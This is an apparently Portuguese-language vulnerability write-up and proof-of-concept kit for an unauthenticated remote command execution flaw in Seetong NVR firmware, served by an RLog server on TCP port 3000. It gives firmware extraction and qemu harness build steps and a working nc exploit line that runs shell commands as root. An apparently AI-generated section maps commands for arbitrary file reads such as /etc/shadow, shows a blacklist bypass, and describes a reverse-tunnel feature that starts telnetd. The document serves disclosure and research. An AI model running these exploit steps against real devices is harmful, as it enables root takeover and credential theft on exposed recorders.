
CVE-2026-100886 | Kit de ferramentas de Execução Remota de Código Não Autenticada.
O harness demonstra que o libLOG.so do firmware inicia um servidor RLog
na porta TCP/3000. A análise do despachante de comandos e os testes dinâmicos
demonstram execução de comandos do SO sem autenticação através desse servidor.
Ele carrega o libLOG.so próprio do firmware sob qemu-arm, chama TLog_Init()
e o servidor real vincula-se a 0.0.0.0:3000 e aceita conexões de entrada
de qualquer lugar com nenhuma autenticação.
O firmware expõe um servidor de comandos RLog sem autenticação na porta TCP/3000.
O despachante de comandos registra Cmd, que passa a entrada controlada pelo
atacante para TLog_CMD. TLog_CMD por fim invoca o backend de execução de
comandos do firmware.
Portanto:
Conexão TCP não autenticada
↓
Despachante de comandos RLog
↓
Cmd <comando controlado pelo atacante>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
execução de comando
harness.c: versão persistente: sobe o servidor e dorme (use esta para uso real)probe_harness.c: versão de sondagem: também tenta sondagens de comando de dentro do emulador (mostra o requisito de enquadramento por byte de tipo)Se o download do firmware que o script abaixo usa para criar o sysroot não existir mais. Você pode obtê-lo em um destes (basta pesquisar a imagem do nvr, o firmware é amplamente distribuído):
Usei o firmware v4.6.1.4-build202604241011 para isso, outras versões de firmware ainda não foram testadas, mas revendedores downstream como a fullward também o possuem.
Execute isto no mesmo diretório dos harnesses
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Este harness fornece implementações stub dos símbolos que libLOG.so importa de edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Saída observada do probe_harness.c (não o usado no script acima):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux é exibido porque o modo usuário do qemu compartilha o sistema de arquivos do host, já que este PoC não o isola adequadamente.
Divulgação de IA, o texto abaixo é gerado por IA
LogModuleRegCmd @ 0x8f94)| Comando | Handler | Efeito |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | vários | controle de logging/autoteste |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | divulgação de info/config/log |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | leitura arbitrária de arquivos (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | leitura de arquivo |
Cmd [System commands] | TLog_CMD (0x3680) | execução de comando shell como root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | túnel TUN reverso + telnetd na porta 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — trivialmente contornada (cat, sh, aspas)."%s -b" → executa via sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC para /usr/sbin/systemd (systemd falso, executa via /bin/sh como root; strings "[systemd cmd:]%s", "[systemd ret:]%d").Demonstração da blacklist (2026-08-04, servidor emulado):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (espera 3 campos).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, cria interface tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) e system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — usado pela limpeza do diretório de logs (TLog_DeleteLogFile).O harness (harness.c) faz dlopen de libLOG.so, cria stubs para suas importações edvr, chama TLog_Init():
dlopen ok
TLog_Init() -> 0
Lado do host (passthrough de socket do modo usuário do qemu):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))